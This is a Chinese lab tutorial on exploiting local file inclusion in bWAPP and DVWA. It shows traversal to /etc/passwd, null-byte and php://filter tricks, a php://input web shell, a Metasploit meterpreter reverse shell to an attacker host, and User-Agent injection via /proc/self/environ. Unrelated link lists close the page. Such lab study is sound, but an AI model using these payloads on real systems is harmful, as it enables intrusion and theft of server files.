本地文件包含漏洞(LFI漏洞)
0x00 前言
本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法。 我们都知道LFI漏洞允许用户通过在URL中包括一个文件。在本文中,我使用了bWAPP和DVWA两个不同的平台,其中包含文件包含漏洞的演示。通过它我以四种不同的方式执行LFI攻击。
0x01 基本本地文件包含
在浏览器中输入目标IP,并在BWAPP内登录(bee:bug),现在选择bug:remote & local file Inclusion,然后点击hack。

打开具有RFI和LFI漏洞的网页。在下拉列表中选择语言释,单击go按钮时,所选的语言文件将包含在URL中。 执行基本攻击操作。
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd
在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件。

0x02 Null byte
在一些情况下,由于高安全级别,上面提到的基本本地文件包含攻击可能不工作。从下面的截图可以观察到,当在URL中执行相同的路径时,却无法读取密码文件。 所以当面对这样的问题,可以进行NULL byte攻击。
打开burp suite捕获浏览器请求,然后选择代理选项卡并开始截取。 不要忘记在使用burp suite时设置浏览器代理。

将拦截的数据发送到repeater。

在repeater中做发送的请求和响应生成的分析。从截图可以清楚的看出/ etc / passwd不能读取。

在下面的截图中,通过在etc/passwd目录的末尾添加空字符(%00)来转发请求,然后单击go选项卡。然后在窗口的右视图上,密码文件作为响应打开。

0x03 Base64 encoded
当安全级别高并且无法查看PHP文件内容时,使用以下PHP函数:
http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd
从以下截图可以看到passwd文件内容编码为base64,复制整个编码文本。

使用hackbar解码复制的编码文本。

将复制的编码文本粘贴到弹出的对话框内。

密码文件的内容:

0x04 PHP Input
使用PHP Input函数,通过执行注入PHP代码来利用LFI漏洞。首先,加载目标网页URL:
http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

使用PHP input函数:
http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls
然后选中enable Post data复选框,转发提交的数据,并在给定文本区域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。如下图所示,最后点击execute。

通过反向连接连接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。
use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 1 msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.0.104 msf exploit (web_delivery)>set srvport 8081 msf exploit (web_delivery)>exploit
复制下图中的高亮文本:

将上面复制的PHP代码粘贴到URL中,如下图所示,并执行它。

当上面的URL被执行时,将metasploit中获得目标的meterpreter会话。
msf exploit (web_delivery)>session –I 1 meterpreter> sysinfo

0x05 Proc/self/environ
如果服务超时,通过LFI利用它。可以包括存储User_Agent的proc/self/environ文件,在文件中插入用于执行CMD命令的PHP代码。
http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

启动burp suite拦截浏览器请求,并将获取数据发送到repeater。

将CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求。响应如下图右侧所示。

本地文件包含漏洞(LFI漏洞)的更多相关文章
- 渗透测试之本地文件包含(LFI)
一.本地文件包含 本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell. 看见?page=标志性注入点,提示我们输入?=pag ...
- phpMyAdmin 4.8.x 本地文件包含漏洞利用
phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- 组合拳 | 本地文件包含漏洞+TFTP=Getshell
文章声明 安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作. 本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转 ...
- Nagios Looking Glass 本地文件包含漏洞
漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...
- WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞
漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...
- 易酷 cms2.5 本地文件包含漏洞 getshell
易酷 cms2.5 本地文件包含漏洞 getshell 首先下载源码安装(http://127.0.0.1/test/ekucms2.5/install.php) 安装成功直接进行复现吧 本地包含一 ...
- 关于Discuz! X系列UC_Server 本地文件包含漏洞
最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件 ...
- phpMyAdmin本地文件包含漏洞
4 phpMyAdmin本地文件包含漏洞 4.1 摘要 4.1.1 漏洞简介 phpMyAdmin是一个web端通用MySQL管理工具,上述版本在/libraries/gis/pma_gis_fact ...
随机推荐
- 解决多个python的兼容问题
方法1:将(安装路径和scripts)路径添加到系统环境变量,谁的顺序在前面谁就是默认的 方法2:修改python的名字,然后再终端输入比如python2或者python3
- 【算法】Base64编码
1.说明 Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法. 2.编码 ASCII码 -> 十六进制码 -> ...
- ArcGIS RunTime Sdk +WPF 基础地图显示
1 简单的地图展示 ArcGISRunTime 的平面地图展示主要依赖MapView这个控件,MapView是地图的容器,Map主要是图层的集合 (注:三维场景的显示主要依赖SceneView这个控件 ...
- error while loading shared libraries: libtest.so: cannot open shared object file: No such file or directory
一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如: tmux: error while loading shared libraries: libevent-1.4.s ...
- 13 JSON-RPC: a tale of interfaces
JSON-RPC: a tale of interfaces 27 April 2010 Here we present an example where Go's interfaces made i ...
- Go 命令行总结
go build:已当前目录作为package进行编译,将当前目录下的所有文件编译成package文件,文件名与所在的目录同名. go install: 分两步操作:1.先执行go build进行编译 ...
- dedecms调用文章列表第一篇和下面几篇不同的方法
{dede:arclist row=1 orderby=pubdate infolen=60 limit=0,1} <li class="dot1"><img s ...
- CF312B 【Archer】
容易算出这人第一次胜利的概率,第二次的,第三次的…… 好像可以无限乘下去 但是这题精度卡到1e-6 不妨设一个eps,当这次胜率小于eps时,就break掉,反正它已经不影响答案了 我设的是eps=1 ...
- babel转换不了有些es6
bable只转换新语法 不支持新的全局变量如promise async等等,可以使用babel-polyfilll来兼容
- Linux学习笔记:mv移动或文件重命名
mv命令是move的缩写,可以用来移动文件或者将文件改名(move (rename) files),是Linux系统下常用的命令,经常用来备份文件或者目录. 语法:mv 源文件 目标文件 视mv命令中 ...